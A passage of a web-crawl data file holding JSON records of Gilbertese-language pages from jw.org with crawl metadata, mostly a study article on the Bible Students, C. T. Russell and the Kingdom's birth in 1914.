ni manga karika te bua ni burawa riki teuana.\n^ Ke, e kona n nanona \"te baare.\"","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/nakoaia-ibonga\/2\/","date":"2018-04-21T06:55:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945037.60\/warc\/CC-MAIN-20180421051736-20180421071736-00548.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":628,"character_repetition_ratio":0.141,"word_repetition_ratio":0.11,"special_characters_ratio":0.247,"stopwords_ratio":0.479,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"ARA MWAKURI NI MINITA April 2013 KAREKEI N AEKAIA AIKAI April 2013 Karekei booki aika Digital n aekaia aikai PDF Tibwaia ARA MWAKURI NI MINITA April 2013 Kiribati ARA MWAKURI NI MINITA April 2013 https:\/\/assetsnffrgf-a.akamaihd.net\/themes\/content-theme\/images\/cvr_placeholder.jpg Tibwaia Tibwaia ARA MWAKURI NI MINITA April 2013 Kiribati ARA MWAKURI NI MINITA April 2013 https:\/\/assetsnffrgf-a.akamaihd.net\/themes\/content-theme\/images\/cvr_placeholder.jpg","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/ara-mwakuri-ni-minita\/km201304\/","date":"2018-04-25T11:47:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947795.46\/warc\/CC-MAIN-20180425100306-20180425120306-00029.warc.gz","language":"gil","language_score":0.7959885597,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.7959885597229004, \"atj_Latn_score\": 0.02719133347272873, \"chk_Latn_score\": 0.01587318442761898}","num_words":45,"character_repetition_ratio":0.175,"word_repetition_ratio":0.222,"special_characters_ratio":0.22,"stopwords_ratio":0.178,"flagged_words_ratio":0.0,"lang_id_score":0.851,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"ARA MWAKURI NI MINITA May 2012 KAREKEI N AEKAIA AIKAI May 2012 Karekei booki aika Digital n aekaia aikai PDF Tibwaia ARA MWAKURI NI MINITA May 2012 Kiribati ARA MWAKURI NI MINITA May 2012 https:\/\/assetsnffrgf-a.akamaihd.net\/themes\/content-theme\/images\/cvr_placeholder.jpg Tibwaia Tibwaia ARA MWAKURI NI MINITA May 2012 Kiribati ARA MWAKURI NI MINITA May 2012 https:\/\/assetsnffrgf-a.akamaihd.net\/themes\/content-theme\/images\/cvr_placeholder.jpg","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/ara-mwakuri-ni-minita\/km201205\/","date":"2018-04-21T21:21:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945448.38\/warc\/CC-MAIN-20180421203546-20180421223546-00349.warc.gz","language":"gil","language_score":0.8958696127,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.8958696126937866}","num_words":45,"character_repetition_ratio":0.176,"word_repetition_ratio":0.222,"special_characters_ratio":0.226,"stopwords_ratio":0.178,"flagged_words_ratio":0.0,"lang_id_score":0.86,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1, 2. Tera te bwai ae e a tia n riki ae te kabanea ni kakawaki n rongorongon rimoa, ao bukin tera bwa e aki kamimi ngkai e aki noraki irouia aomata?\nKO A TIA n iaiangoia bwa tera arom ngkana ko maiu n te tai ae e rangi ni bati iai te bitaki nakon te aonnaba? A bati aika iaiangoa anne. Ma iangoa aei: Ngke arona bwa ko maiu n te tai anne, te koaua bwa ko na bae n nori baika kakawaki aika riki ake a karekea te bitaki? Tao ko na aki. N angiin te tai, a aki noraki irouia angia aomata bitaki aika kakawaki aika riki ake a bwaka iai tautaeka nikawai, ake a bati taekaia ake a koreaki ni bokin rongorongon rimoa. A bati rongorongon rimoa ake a taekinaki ni karabaaki n aia ruu ueea, n ruu ni boowi aika onoti, ke n aobitin te tautaeka. Ma e ngae n anne, a rotaki maiuia aomata aika mirion ma mirion ni bitaki akanne.\n2 Ma tera aron te bwai ae e a tia n riki n te aonnaba ae te kabanea ni kakawaki? E a tia n rotii maiuia aomata aika mirion ma mirion. Ma a aki nora rikina aomata. Ti bon taekina ikai bungiakin ana Tautaeka n Uea te Atua i karawa, ae te tautaeka iroun te Mesia are e a kamani beritanaki ae e na waekoa ni katoka te waaki ae ngkai i aon te aba. (Wareka Taniera 2:34, 35, 44, 45.) Kioina ngkai a aki nora bungiakin te tautaeka ae kakawaki aei aomata, ti riai n iangoia bwa e karabaa te bwai ae riki aei Iehova mairouia aomata? Ke e a kamani katauraoiia ana aomata aika kakaonimaki ni koaua imwaini bungiakin te tautaeka? Ti na noria.\n\"Au Tia Uataeka . . . E na Kaitiaka te Kawai Imwaiu\"\n3-5. (a) Antai \"te tia uota taekan te berita\" ae taekinaki ni Maraki 3:1? (b) Tera ae e na riki imwain ae e roko n te tembora \"te tia uota taekan te berita\"?\n3 E a kamani baireia mangkoa Iehova bwa e na katauraoiia ana aomata imwaini bungiakin te Tautaeka n Uea ae kairaki iroun te Mesia. N te katoto, iangoa te taetae ni burabeti ni Maraki 3:1, ae kangai: \"Noria! I kanakoa au tia uataeka, ao e na kaitiaka te kawai imwaiu. Ao te Uea ae koaua are kam ukoukoria, e na rina n roko n ana tembora. Ao e na roko te tia uota taekan te berita, are kam rangi ni kimwareirei irouna.\"\n4 Ni kakoroani bukina ni boong aikai, e roko n ningai Iehova ae \"te Uea ae koaua\" n tuoia te koraki ake a beku ni katawanangin te tembora n taamnei i aon te aba? E kabwarabwaraaki n te taetae ni burabeti aei bwa e na roko Iehova ma \"te tia uota taekan te berita.\" Ae taekan antai? Akea riki bwa tii te Uea ae te Mesia ae Iesu Kristo! (Ruka 1:68-73) E na tuoia teuaei ana aomata te Atua i aon te aba ao ni kaitiakiia ngkai te tia Tautaeka ngaia ae boou ae kateaki.\n5 Ma antai te \"tia uataeka\" are temanna, are e moan taekinaki ni Maraki 3:1? E na bae ni kaoti te aomata ae taetae ni burabetinaki aei imwain okini ma tikun te Uea ae te Mesia. I nanon tatabebwi te ririki imwain 1914, iai ae e \"kaitiaka te kawai\" imwain te Uea ae te Mesia?\n6. Antai ake a riki bwa te \"tia uataeka\" are taetae ni burabetinaki, ake a roko moa bwa a na katauraoiia ana aomata te Atua nakoni baike a na riki imwaia?\n6 Ti na nori kaekaan titiraki akanne n rongorongoia rimoa ana aomata Iehova ae kaunganano ni boong aikai rinanon te boki aei. E kaotaki n rongorongon rimoa aei bwa n raabanen te ka-19 n tienture, ao e rikirake te kurubu ae uarereke ae kaainaki irouia Kristian ni koaua. A otinako mai buakoia koraki aika bati aika aongkoa Kristian ngaiia. A aranaki kaain te kurubu anne bwa Taan Reirei n te Baibara. Te koraki ake a kairiri i buakoia aika Charles T. Russell ao raona ni beku, a bon riki bwa te \"tia uataeka,\" are e a kaman taekinaki are anganga te kairiri ni kaineti ma te onimaki nakoia ana aomata te Atua ao ni katauraoiia nakoni baike a na riki imwaia. Ti na rinanoi aanga aika aua ake e karaoi te \"tia uataeka.\"\nTe Taromauri n te Koaua\n7, 8. (a) I nanon 1800 tabun, antai ake a moana kaotaraean te kewe ni kaineti ma te reirei ae te taamnei ae aki mamate? (b) Baikara reirei riki tabeua aika kewe ake a kaotaraei C. T. Russell ma raona ni beku?\n7 A tataroakina kairaia Taan Reirei n te Baibara aikai mairoun Iehova n aia tai n ukeuke, a inanoi iai, a botii aia iango, ao a boretii reirei aika eti. Ni waakinakon taian tienture ao a a tia kaain Aaro ake aongkoa Kristian ngaiia ni mena i nanon te rotongitong ni kaineti ma te onimaki. A bati aia reirei aika boboto i aon aia koaua ma aia mwakuri beekan. Te katoto ae kakawaki bon te reirei ae te taamnei ae aki mamate. Ma i nanon 1800 tabun, a nenera te reirei anne tabeman taan reirei ni koaua n te Baibara, ao a noria bwa e aki boutokaaki man ana Taeka te Atua. A korei reirei aikai Henry Grew, George Stetson, ao George Storrs, ao a ninikoria ni kabwarabwarai, ni kaotaraea ana kewe Tatan. * N tokina ao e a korakora rotakini maiuia C. T. Russell ma raona ni beku, n aia mwakuri.\n8 A noria kaain te kurubu ae uarereke aei ae Taan Reirei n te Baibara bwa reirei ake tabeua ake a irekereke ma taekan te taamnei ae aki mamate, a kamangaoa te iango ao a kairua, n aron te reirei ae a na bane aomata aika raoiroi n nako karawa ao te reirei ae kammarakan taamneia aomata aika buakaka aika aki mamate iroun te Atua n te ai ni moone n aki toki. A ninikoria Russell ma raona ni beku ni kaotaraei keewe aikai ni kaongora aika rangi ni bati, ni booki, ni booki aika uarereke, n turaeki, ao ni kabwarabwara aika boreetiaki.\n9. E kangaa te Zion's Watch Tower ni kaotaraea bwa e kairua te reirei ae te Temanna n Teniman?\n9 N aron naba anne, a kaotaraea Taan Reirei n te Baibara bwa e kairua te reirei ae te Temanna n Teniman ae e karineaki irouia aomata aika bati. N 1887 ao e taekinaki ae kangai n te Zion's Watch Tower: \"E rangi ni mataata n te Baibara te kaokoro i marenan Iehova ao ara Uea ae Iesu ao ni kaineti ma te koaua are temanna irouia bon te Tama ao are temanna te Nati.\" E taekinaki n te kaongora anne bwa e rangi ni kamimi ngkai \"e a rangi n taabangaki butimwaean te reirei ae te Temanna n Teniman irouia aomata, ao e a riki bwa te reirei ae rangi ni kakawaki irouia. Ngkai e a riki anne ao e teretere iai bwa a rangi ni matunako Aaro ake aongkoa Kristian ngaiia ni kaineti ma te onimaki, ao e a reke iai ana tai Tatan ni kabutaanako te reirei ae kewe aei.\"\n10. E kangaa te Taua-n-Tantani ni kotea 1914 bwa te ririki ae kanikinaeaki?\n10 N aron ae e kateretereaki n atun te maekatin ae te Zion's Watch Tower and Herald of Christ's Presence, e rangi n irekereke ma taetae ni burabeti aika kaineti ma okin ao tikuni Kristo. A noria taani kabiraki aika kakaonimaki ake a korei kaongora n te maekatin anne, bwa ana taetae ni burabeti Taniera ae taekan \"taai aika itiua\" e irekereke ma taini kakoroani bukin ana kantaninga te Atua aikai ni kaineti ma te Tautaeka n Uea iroun te Mesia. A a kamani kotea 1914 man 1870 tabun bwa te ririki are a na toki iai taai akana itiua akanne. (Tan. 4:25; Ruka 21:24) E ngae ngke a aki ota raoi tarira n taai akanne ni kakawakin te ririki ane kanikinaeaki anne, ma a bon tataekini naba baike a atai n taabo ake a raroanako, ao ti rotaki naba n aia mwakuri.\n11, 12. (a) Antai ake e kamoamoaia Brother Russell ni kaineti ma baike e angareirei iai? (b) Tera aroni kakawakin te mwakuri are a karaoia Russell ma raona akekei tatabebwi te ririki imwain 1914?\n11 A aki kani kamoamoaaki Russell ma raona ake a kakaonimaki akekei, ibukini kaotaraean ao karekean te ota i aoni koaua aika kakawaki aikai. Ma e kamoamoaia riki Russell te koraki ake a a kamani waaki imwaina. Ma ae moamoa riki, e kamoamoaa Iehova ae te Atua, are boni ngaia ae reiakinia Ana aomata te bwai ae a bon riai n ataia. E teretere bwa Iehova e kakabwaiaa aia kakorakora Russell ma raona akekei, n raumeaa te koaua man te kewe. Ni waakinakon taian ririki ao a a rangi ni kaokoro riki ma Aaro ake aongkoa Kristian ngaiia.\n12 E kamimi aia mwakuri mwaane aika kakaonimaki aikai ni boutokai raoi reirei aika koaua tatabebwi te ririki imwain 1914! Ngkana ti ururing rikaaki ao e taekinaki ae kangai n te boki ae The Watch Tower and Herald of Christ's Presence ae bwain Nobembwa 1, 1917: \"Mirion ma mirion ni boong aikai aika inaomata mani karawawataakia n te maaku ae nako man te reirei ae taekan te ai ni moone ao reirei riki tabeua aika kewe . . . E moanaki rikiraken te Koaua e raka i aon abwi te ririki n nako, ao e bon tabe naba n rikirake ao e na teimatoa ni karokoa ae e buta te aonnaba. Ao a bae naba ni kataia taani kaitaraa n totokoa rikiraken te Koaua n te aonnaba.\"\n13, 14. (a) E kangaa te \"tia uataeka\" ni buoka katauraoan te kawai ibukin te Uea ae te Mesia? (b) Tera reireiara mairouia tarira ake a maiu tebubua tabun te ririki n nako?\n13 Iangoa aei: Te koaua bwa a na tauraoi aomata imwaini moanakin okini ma tikuni Kristo, ngkana a aki ataa kaokoron Iesu ma Tamana ae Iehova? A na aki! A na aki naba tauraoi ngkana a iangoia bwa te aki mamate bon te bwai ae e a bon reke naba irouia aomata nako, ao tiaki te bwaintangira ae rangi ni kakawaki ae a anganaki taan rimwini Kristo ake tii tabeman ake a toua mwini mwanekana. A na aki naba ngkana a iangoia bwa e kammarakiia aomata te Atua n te ai ni moone n aki totoki n akea kantaningaan te kamaiuaki! Akea te nanououa bwa e boni katauraoa te kawai te \"tia uataeka\" ibukin te Uea ae te Mesia!\n14 Ao tera arora ni boong aikai? Tera reireiara mairouia tarira ake a maiu tebubua tabun te ririki n nako? Ti riai naba ngaira n riki bwa taani wareware aika ingainga ao taan reiakina ana Taeka te Atua. (Ioa. 17:3) E bia teimatoa n rikirake rinin kanara ni kaineti ma te onimaki, ngkai e a tabe ni bakitaia riki te aonnaba ae kanibwaibwai aei ni kaineti ma te onimaki!\n\"Au Aomata, Kam na Otinako Mai Nanona\"\n15. Tera ae e rikirake otaia iai taan Reirei n te Baibara? (Nora naba te kabwarabwara mai nano.)\n15 A angareirei Taan Reirei n te Baibara bwa a riai ni kitanaki Aaro aika aki koaua. N 1879 ao e taekinaki te \"Aro ni Baburon\" n te Taua-n-Tantani. E taekinaki iai te Aro ni Katorika n Rom? A iangoa Baburon kaain te Aro ni Boretetanti i nanon tienture aika bati bwa bannan te taetae ni burabeti n te Baibara. Ma e rikirake otaia Taan Reirei n te Baibara bwa Aaro ni kabane ake aongkoa Kristian ngaiia, a irekereke ma \"Baburon\" ae ni boong aikai. Bukin tera? Ibukina bwa a bane n angareirei i aon reirei aika kewe n aron ake a maroroakinaki mai eta. * Imwina riki ao a a tabe ni kaineti riki ara boki nakoia aomata aika raoiroi nanoia aika kaain te Aro ni Baburon bwa tera ae a riai ni karaoia.\n16, 17. (a) A kangaa ni kaumakaki aomata n te Millennial Dawn Volume III ao n te Taua-n-Tantani bwa a na kitana te Aro ae kewe? (b) Tera te bwai ae kamamaarai kauring rimoa akanne? (Nora te kabwarabwara mai nano.)\n16 N te katoto, n 1891 ao e maroroakinaki n te Millennial Dawn Volume III taekan rawan te Atua nakoni Baburon ae ni boong aikai, ao e taekinaki iai bwa te koraki ni kabane aika \"aki inanoi ma ana reirei ao ana mwakuri aika kewe, a a tuangaki ngkai bwa a na kaokoroia ma ngaia.\"\n17 N Tianuare 1900 ao e anga te reirei ni kairiri te Taua-n-Tantani nakoia te koraki ake a boni mena naba araia n Aaro aikai bwa a na iangoa kabwarabwaraan aroia, ni kangai, \"I inanoi ma te koaua, ao I a aki bati ni kakaaei taromauri ake tabeua.\" E tabekaki te titiraki ae kangai n te kaongora aei: \"Ma e eti ae e na otinako mai Baburon iterara teuana ao iterara are teuana e tiku? Aei te aeka n ongeaba ae tangiraki . . . ae kukurei iai te Atua ao e butimwaeia? Bon tiaki. Te aomata [are kaain te Aro teuana] are berita nakon te botaki n Aro arei ngke e kaainna, e riai ni kakaonimaki ni maiuakini bwaai ni kabane ake a irekereke ma ana berita ni karokoa ae e . . . a kakoauaaki bwa e aikoa kaainna ke e a katoka kaainakina.\" E rikirake ni korakora te waaki anne ni waakinakon te ririki. * A riai ana toro Iehova ni katoka reitakia ma te Aro ae kewe.\n18. Bukin tera ngkai a riai aomata n otinako mani Baburon ae Kakannato?\n18 Ngke arona bwa a aki kaokiokaki aeka ni kauring aikai ibukin te otinako mai Baburon ae Kakannato, a na iai tooro aika katauraoaki aika kabiraki i aon te aba, aika a na kaaina ana rabwata Kristo are e a tibwa riki bwa te Uea? E na bon akea, bwa tii Kristian ake a kainaomataaki mai aani Baburon ae a kona n taromauria Iehova \"n te taamnei ao n te koaua.\" (Ioa. 4:24) Ti motinnanoia naba ni boong aikai bwa ti na teimatoa ni kainaomataaki man te Aro ae kewe? Ti bia teimatoa n ongeaba n te tua ae kangai: \"Au aomata, kam na otinako mai nanona\"!\nTe Ikotaki Ibukin te Taromauri\n19, 20. E kangaa te Taua-n-Tantani ni kaungaia ana aomata te Atua bwa a na botaki n taromauri?\n19 A angareirei Taan Reirei n te Baibara bwa a riai ni kaai n ikotaki raao n te onimaki ibukin te taromauri. E aki tau tii te otinako man te Aro ae kewe irouia Kristian ni koaua. E kakawaki naba bwa e na iraki waakin te taromauri ae itiaki. E a kamani kaungaunga te Taua-n-Tantani ni moa mani katotona ake a otinako rimoa nakoia taani wareware bwa a na botaki n taromauri. N te katoto, e taekinna Brother Russell n Turai 1880 ni mwanangana teuana, bwa a kaunganano taiani bobotaki ake a a tia ni waaki. E kaumakiia ngkanne taani wareware bwa a na karokoi aia beeba aika kaota aron rikirakeia, ae tabeua iai a na boreetiaki n iteranibaan te maekatin anne. Tera bukina? \"Ti na bane n noria bwa . . . e na kangaa te Uea ni karikirakeingkami, ngkana kam kateimatoa ami bobotaki ma te koraki ake a onimaki.\"\n20 N 1882 ao e boreetiaki n te Taua-n-Tantani te kaongora ae atuna \"Kaai ni Bobotaki.\" A kaumakaki Kristian n te kaongora aei bwa a na kakaraoa aia botaki \"ibukini kabwaiaia, kaungaaia, ao kakorakoraaia.\" E koreaki iai ae kangai: \"E aki kakawaki bwa e na iai ae e reirei ke ae iai ana tarena i buakomi. Kam na bane n uotii ami Baibara, ami beeba, ao ami bentira, ao kamanena te ibuobuoki man te boki ae te Concordance, . . . n aron ae kam konaa. Rinea te taeka teuana, bubutii kairami n te Taamnei bwa kam aonga n ota iai, ao warekia, iangoia, kabotaua te kibu teuana ma teuana, ao ane kam na boni kairaki iai nakon te koaua.\"\n21. Tera te katoto are a kateia kaain te ekaretia i Allegheny i Pennsylvania, ni kaineti ma te bobotaki ao kawakinaia kaain te ekaretia?\n21 E mena kautun aia botaki Taan Reirei n te Baibara i Allegheny i Pennsylvania n te U.S.A. A katea iai te katoto ae raoiroi ngke a ongeaba n te reirei ni kairiri ae kairaki koreana n Ebera 10:24, 25 (Warekia) ao a kaai ni bobotaki. E maan imwina ao e a uringi kaakaeani botaki ngke e uarereke te tari ae e a kara ae Charles Capen. E korea ae kangai: \"I teimatoa n uringa te kibu teuana ae beeniaki i aon oon ana tabo n runga te Totaieti. 'Tii temanna ami tia Reirei, ao taari ngkami ni kabane.' E a bon tetei naba n au iango te kibu aei bwa akea te kakaokoroaki irouia mataniwi ao aomata nako i buakoia ana aomata Iehova.\" (Mat. 23:8) E uringi naba Brother Capen botaki aika kammwakura te iango ma ni kaunganano, ao ana kakorakora Brother Russell ni kawakinia kaain te ekaretia n tatabemania nako.\n22. Tera aroia aomata aika kakaonimaki nakon te kaungaunga ibukini kaakaeani botaki ni Kristian, ao tera reireiara mairouia?\n22 A kakairi n te katoto aei aomata aika kakaonimaki ao n te kaetieti are iai. A a tei ekaretia n iteran Amerika ake tabeua, n aron Ohio ao Michigan, ao ai Amerika Meang ni kabutaa ma aaba riki tabeua. Iangoia: A kona n tauraoi aomata aika kakaonimaki nakon okini ma tikuni Kristo, ngke arona bwa a aki kataneiaaki bwa a na ongeaba n te reirei ni kairiri are kairaki koreana, ae a na bobotaki n taromauri? A na bon aki! Ao tera arora ni boong aikai? Ti riai ni motikia bwa ti na kakaonimaki ni kaakaei botaki n taromauri, n ukeri nako aanga ake ti na kaai n taromauri iai, ao n ikaungaunga i marenara ni kaineti ma te onimaki.\nTe Ingainga n Uarongorongo\n23. E kangaa ni kamatataaki n te Taua-n-Tantani bwa a riai taani kabiraki ni kabane n uarongorongoa te koaua?\n23 A angareirei Taan Reirei n te Baibara bwa a riai n uarongorongoa taekan te koaua taani kabiraki ni kabane. N 1885 ao e koreaki ae kangai n te Taua-n-Tantani: \"Ti aki riai ni mwaninga are a kabiraki taani kabiraki ni kabane bwa a na uarongorongo (Ita. 61:1), ao a weteaki nakon te mwakuri ni minita.\" E oti te kaungaunga aei n te maekatin ae otinako n 1888: \"E mataata mwiokoara . . . Ngkana ti aki tabeakinna ma ni karekea aonara, ao bon tooro aika taningaroti ngaira, ao ti a kaotia iai bwa ti aki tau nakon te nakoa ae rietata are ti weteaki nako iai.\"\n24, 25. (a) Tera aron Russell ma raona ni beku ni karaoa ae bati riki nakon ae tii kaungaaia aomata bwa a na uarongorongo? (b) E kangaa te bwaiania temanna ni kabwarabwaraa ana mwakuri \"n taai ake e karako iai te kaa\"?\n24 A karaoa ae bati riki Brother Russell ma raona ni beku nakon ae tii kaungaaia aomata bwa a na uarongorongo. A karaoi naba turaeki aika aranaki bwa Bible Students' Tracts, ake a aranaki naba imwina riki bwa Old Theology Quarterly. A karekei baikai taani wareware n te Taua-n-Tantani bwa a na tibwatibwai nakoia aomata n akea boona.\nTi wanawana ngkana ti titirakinira ni kangai, 'E boboto maiuu i aon te mwakuri n uarongorongo?'\n25 A aranaki bwa bwaiania te koraki ake a kabanei korakoraia n te mwakuri ni minita ni kabwanina aia tai. Charles Capen are taekinaki mai mwaina bon temanna i buakoia. E ururing imwina riki ni kangai: \"I kamanenai mwaabe ake a reke man te United States Government Geological Survey bwa N na kairaki iai ni karaoan te aono i Pennsylvania. A kaotaki kawai ni kabane ni mwaabe aikai, bwa e na bebete iai te roko n taabo nako n te rianna. N tabetai I kabooa tangoan te kaa ae katikaki iroun te aoti bwa I aonga n ninikiri booki aika taian Studies in the Scriptures. I a karekei oota ibukini booki aikai mairouia aomata ni mwanangau rinanon te aba ae maanna tenibong. I momotirawa ao n titiku n te tairiki irouia taan ununiki. Akanne bon taai ake e karako iai te kaa.\"\n26. (a) E aera ngkai a riai ana aomata te Atua n ira te mwakuri n uarongorongo bwa a aonga n tauraoi imwain ana tautaeka Kristo? (b) Baikara titiraki ae ti wanawana ngkana ti bon titirakinira iai?\n26 E kainnanoaki te ninikoria ao te ingainga ni kaineti ma aeka n uarongorongo akanne n taai ake ngkoa. A na tauraoi Kristian ni koaua imwain ana tautaeka Kristo ngke arona bwa a aki reireinaki kakawakin te mwakuri n uarongorongo? A na bon aki! E na bon riki te mwakuri anne bwa te bwai ae rianako n okini Kristo ma tikuna. (Mat. 24:14) A riai ana aomata te Atua n tauraoi ni kabotoi maiuia i aon te mwakuri ni kakamaiu anne. Ni boong aikai ao ti wanawana ngkana ti titirakinira ni kangai: 'E boboto maiuu i aon te mwakuri n uarongorongo? I taona nanou bwa I aonga ni kabatiaa riki karaoan te mwakuri anne?'\nE a Bungiaki Ana Tautaeka n Uea te Atua!\n27, 28. Tera are e noria te abotoro Ioane n te miitara, ao tera aron Tatan ma ana taimonio ni kaineti ma bungiakin te Tautaeka n Uea?\n27 N tokina ao e a roko te ririki ae kakawaki ae 1914. N aron are ti maroroakinna ni moan te mwakoro aei, bon akea aomata aika nora te bwai ae kamimi ae riki i karawa aei. Ma e anganaki te abotoro Ioane te miitara ae kabwarabwarai bwaai n te aro ni kaikonaki. Iangoa aei: E nora Ioane \"te kanikina i karawa ae rianako arona.\" E bikoukou te aine ae mena i karawa ae taekan ana botaki i karawa te Atua, ao e bungia natina ae te mwaane. Ti tuangaki bwa te teei ae te kaikonaki aei, e nang riki bwa te tia \"kaiririia natannaomata ni kabane n aron te tia kawakintiibu ae iai okona ae te biti.\" Ma ni bungiakin te teei aei ao e \"buritaki . . . n uotakinako nakon te Atua ao nakon ana kaintokanuea.\" E taku te bwanaa ae korakora i karawa: \"E a roko ngkai te kamaiu mairoun Atuara ma mwaakana ao ana Tautaeka n Uea, ao mwaakan ana Kristo.\"\n28 Akea te nanououa bwa Ioane e nora n te miitara bungiakin te Tautaeka n Uea ae kairaki iroun te Mesia. E boni mimitong te bwai ane riki anne, ma a aki bane ni kukurei iai te koraki. A buaka Tatan ma ana taimonio ni buakania anera aika kakaonimaki, ake a mena i aan ana kairiri Mikaere, ke Kristo. Tera mwina? Ti wareka ae kangai: \"E a tewenakoaki te rakon are korakora, are te naeta nikawai, are arana te Riaboro ao Tatan, are e burebureiia kaain te aonnaba ni kabutaa. E tewenakoaki nakon te aonnaba, ao a tewenakoaki naba ana anera ma ngaia.\"\n29, 30. Imwini bungiakin te Tautaeka n Uea ae kairaki iroun te Mesia, tera aron te bitaki (a) n te aonnaba? (b) i karawa?\n29 N te tai ae maan imwain 1914 ao a taku Taan Reirei n te Baibara bwa e na moanaki tain te kangaanga n te ririki ane kanikinaeaki anne. Ma n te tai anne a aki kona n ataa aroni korakoran te kangaanga ae e na riki ni kakoroani bukin te taetae ni burabeti anne. E na moana ngkanne ana waaki Tatan ae e na korakora rotakia iai te botannaomata n aron ae kaotaki n ana miitara Ioane ae kangai: \"E na reke kain aon te aba ma marawa, ibukina bwa e a tia n ruo te Riaboro nakoimi, ao e a korakora unna ngkai e ataia bwa e a kimototo ana tai.\" (TeKao. 12:12) N 1914 ao e moanaki te moani buaka n te aonnaba, ao e noraki ni kabutaa te aonnaba kakoroani bukini kanikinaean okini ma tikuni Kristo ni mwaakana n uea. E a moanaki 'kabaneani bongin' te waaki ae ngkai i aon te aba.\n30 Ma e ngae n anne, e a boo atin te kimwareirei i karawa. A kakioakinako n aki toki Tatan ma ana taimonio. E warekaki ae kangai n ana rongorongo Ioane: \"Mangaia ae kam na kimwareirei n aei, ngkami aika taiani karawa ao ngkami aika kam maeka iai!\" (TeKao. 12:12) Ngke e a tia ni kaitiakaki karawa ao ni kaueaaki Iesu, ao e a tauraoi ngkanne te Tautaeka n Uea iroun te Mesia ni waaki ibukia ana aomata te Atua aika i aon te aba. Tera ae e na karaoia? N aron are ti noria ni moan te mwakoro aei, ao Kristo are \"te tia uota taekan te berita,\" e na moan riki bwa te tia kaitiakiia ana toro te Atua aika i aon te aba. Tera ae nanonaki n anne?\nTe Tai ni Kataaki\n31. Tera are e a kaman taekinna Maraki ni kaineti ma te tai ni kaitiaki, ao e kangaa te taetae ni burabeti anne ni kakororaoaki? (Nora naba te kabwarabwara mai nano.)\n31 E a kaman taekinna Maraki bwa e na aki bebete te mwakuri ni kaitiaki. E korea ae kangai: \"Antai ae e na tauraoi n te bong are e na roko iai, ao antai ae kona n tei ngkana e kaoti? Bwa e na riki bwa ai aron ana ai te tia kaitiakii biiti ao aia tobu taani kaitiakii kunnikai.\" (Maraki 3:2) Ai boni koauara taeka akanne! Ni moa man 1914, ao a a kaaitara ana aomata te Atua aika i aon te aba ma kataaki ao kangaanga aika korakora aika kaoti teuana imwin teuana. Ngke e a rikirake ni korakora te Moani Buaka are Kabutaa Aonnaba, ao a bati Taan Reirei n te Baibara aika rinanon te bwainikirinaki ae korakora ao te kabureaki. *\n32. Tera te mangao i nanon te botaki are a karawawataaki iai ana aomata te Atua imwin 1916?\n32 Ao e riki naba te mangao i nanon te botaki. E mate Brother Russell n 1916 ngke ai tibwa 64 ana ririki, ike e a karika te buannano irouia ana aomata te Atua aika bati. E kaotaki ni matena bwa iai tabeman ake e a tia n rangi ni moanibwai irouia te mwaane ae tii temanna aei ae moanibaan te raoiroi aroarona. E ngae ngke e aki tangiria Brother Russell bwa e na karineaki, ma a bati ake a rangi ni kabatiaa karineana kaanga ai aron ae a taromauria. A bati ake a iangoia bwa te kaotioti ibukin te koaua are tabe ni waaki, e toki ni matena, ao iai tabeman ake a maraki nanoia ao a rawa ni kakorakoraia ni waakinako. A a reke taan tannako man te koaua man te waaki anne ao e a bwenaua iai te botaki.\n33. A kangaa ni kataaki ana aomata te Atua ni baike a kantaningaaki ake a aki koro bukia?\n33 Te kataaki naba teuana boni baike a kantaningaaki ake a aki koro bukia. E ngae ngke e a tia ni kotea 1914 te Taua-n-Tantani bwa te ririki ae e na toki iai Aia Tai Tientaire, ma a tuai n ota raoi taari bwa tera ae e na riki n te ririki anne. (Ruka 21:24) A iangoia bwa n 1914, ao e na kairiia taani kabiraki Kristo ake a riki bwa kaanga buuna nako karawa bwa a na tautaeka ma ngaia ikekei. A tuai n ataaki raoi taiani kantaninga aikai. N raabanen 1917, ao e a katanoataaki n Te Taua-n-Tantani bwa e na bane te mwakuri n tai ae maanna 40 te ririki n tain te abue n 1918. Ma e aki toki te mwakuri n uarongorongo. E teimatoa n rikirake imwin naba bwakanakon te tai anne. E taekinaki n te maekatin bwa e bon toki te tai n tai ma e reitinako te tai ni karemrem. A bati ake a aikoa beku ibukin Iehova bwa a bwara nanoia.\n34. Tera te kataaki ae korakora ae waaki n 1918, ao e aera ngkai a iangoia kaain Aaro ake aongkoa Kristian ngaiia bwa a a \"mate\" ana aomata te Atua?\n34 E waaki te kataaki ae korakora n 1918. E a kabureaki J. F. Rutherford are onea mwin C. T. Russell ni kairiri i buakoia ana aomata te Atua. E a kabureaki ma taari aika itiman aika mwiokoaki. A kabureaki n te aro ae aki eti n te tai ae maan ni karabuutin te tautaeka i Atlanta i Georgia n te U.S.A. E taraa n aki waaki raoi aia mwakuri ana aomata te Atua i nanon tabeua te tai. A bati mataniwin Aaro ake aongkoa Kristian ngaiia ake a kimwareirei. A kantaningaia bwa a a \"mate\" Taan Reirei n te Baibara aika taani karika te kangaanga aikai, ngkai a a kabureaki \"taani kairiri,\" e a kainaki kautun aia botaki i Brooklyn, ao e a kaitaraaki te mwakuri n uarongorongo i Amerika ao i Eurobe. (TeKao. 11:3, 7-10) Ai boni kairuara naakai!\nTe Tai ni Manga Kakorakoraaki!\n35. E aera ngke e kariaia Iesu rikini kangaanga ni karawawataia taan rimwina, ao tera are e karaoia ni buokiia iai?\n35 A aki ataia taani kairiribai nakon te 